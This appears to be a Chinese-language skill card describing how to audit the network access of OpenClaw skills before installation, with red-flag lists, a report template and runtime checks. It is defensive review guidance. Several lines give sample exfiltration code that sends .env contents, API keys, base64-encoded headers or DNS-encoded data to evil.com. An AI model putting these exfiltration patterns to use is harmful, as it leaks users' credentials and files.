后端与接口
在安装或运行 OpenClaw…
当 OpenClaw 技能申请 network 权限,需要判断其外连是否正当并防止数据外泄时使用。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 38/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 55/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15
适用场景
在安装或运行 OpenClaw 技能前审特定
解决思路
- 在安装具有 `network` 权限的 OpenClaw 技能前,审阅其 `SKILL.md`,分析它会发起哪些连接以及这些连接是否正当。
- 检查技能是否显式声明它连接到的每一个域名;要求提供精确端点列表,而不是笼统描述。
- 按以下格式记录预安装网络审计:`NETWORK AUDIT`、`Skill: <name>`、`DECLARED ENDPOINTS:`(逐项列出域名—用途)、`UNDECLARED NETWORK ACTIVITY:`(写 `[NONE FOUND]` 或列出可疑模式)。
- 对以下 Critical 红旗立即阻断:连接原始 IP 地址,例如 `http://185.143.x.x/`。
- Critical:数据通过 DNS 查询发送(DNS tunneling)。
- Critical:连接到未知服务器的 WebSocket。
- Critical:使用非标准端口。
- Critical:编码或混淆的 URL。
- Critical:从环境变量动态构造 URL。
- 对以下 High 红旗要求提供正当理由:连接个人服务器(非组织域名)。
- High:POST 请求的 body 中包含文件内容。
- High:多个不同域名上的端点。
- High:连接 URL shortener 或 redirector。
- High:使用 `fetch`,且请求 body 包含 `process.env` 或 `fs.readFile`。
- 对以下 Medium 红旗标记待审:连接 analytics 服务。
- Medium:连接 CDN(可能正当,也可能是 C2 掩护)。
- Medium:与技能目的没有直接关系的第三方 API 调用。
- 扫描技能内容中的外泄模式 1:先读后发,例如 `fs.readFileSync('.env')` 后 `fetch('https://evil.com', { method: 'POST', body: data })`。
- 扫描模式 2:环境变量外泄,例如 fetch(`https://evil.com/?key=${process.env.API_KEY}`)。
- 扫描模式 3:隐写式外泄,例如 `fetch('https://legitimate-api.com', { headers: { 'X-Custom': Buffer.from(secretData).toString('base64') } })`。
- 扫描模式 4:DNS 外泄,例如 dns.resolve(`${encodedData}.evil.com`)。
- 扫描模式 5:慢速滴漏外泄,即把少量数据分散到大量请求中以避免检测。
- 运行时验证每个请求都发往已声明端点。
- 运行时验证请求 body 不包含文件内容或凭据。
- 运行时验证请求 headers 不包含编码后的敏感数据。
- 运行时验证响应数据仅用于技能声明的目的。
- 运行时确认没有向运行时发现的端点(来自环境变量或文件)发起请求。
- 运行时确认总出站数据量与该任务相称。
- 运行时确认技能任务完成后没有后台连接被打开。
- 将包注册表查询视为一般安全:只读、公开数据,例如 `GET registry.npmjs.org/package`。
- 将 API 文档获取视为一般安全:只读、公开数据,例如 `GET api.example.com/docs`。
- 将版本检查视为一般安全:只读、不发送用户数据,例如 `GET api.github.com/repos/x/releases`。
- 将 schema 下载视为一般安全:只读、标准化,例如 `GET schema.org/Thing.json`。
- 按固定格式输出 `NETWORK SECURITY AUDIT`:`Skill`、`Network Permission`、`RISK LEVEL`、`DECLARED ENDPOINTS`、`DETECTED PATTERNS`、`DATA FLOW`、`RECOMMENDATION`。
- 在 `RISK LEVEL` 中给出 `LOW / MEDIUM / HIGH / CRITICAL`。
- 在 `DETECTED PATTERNS` 中用 `[OK]` 标出匹配已声明端点的请求,用 `[WARNING]` 标出可疑请求,用 `[CRITICAL]` 标出严重问题(例如连接未声明的 IP `45.x.x.x`)。
- 在 `DATA FLOW` 中记录入站数据和出站数据(例如入站为 API 响应 JSON、每请求 <10KB;出站仅查询参数、无文件内容)。
- 在 `RECOMMENDATION` 中给出 `APPROVE / REVIEW / DENY`。
- 除非技能声明精确端点且用途正当,否则不批准网络访问。
- 默认把 `network + fileRead` 和 `network + shell` 视为 CRITICAL,并假定存在外泄风险(可能窃取源码、凭据和环境变量)。
- 如果端点是动态的(由环境变量或文件构造),或包含原始 IP 或短链接,建议 `DENY`。
- 不确定时,先建议沙箱化(`--network none`)并监控,再考虑安装到真实机器。
- 审计时绝不运行该技能或执行其命令,只做分析,除非用户明确要求受控测试。
适用边界 · 注意事项
- 不适用于不申请 `network` 权限的技能或代码。
- 不适用于没有 OpenClaw 技能或 `SKILL.md` 的普通网络审查场景。
- 默认只做静态分析和运行时检查清单,不适用于需要实际执行技能命令做动态验证的场景;除非用户明确要求受控测试。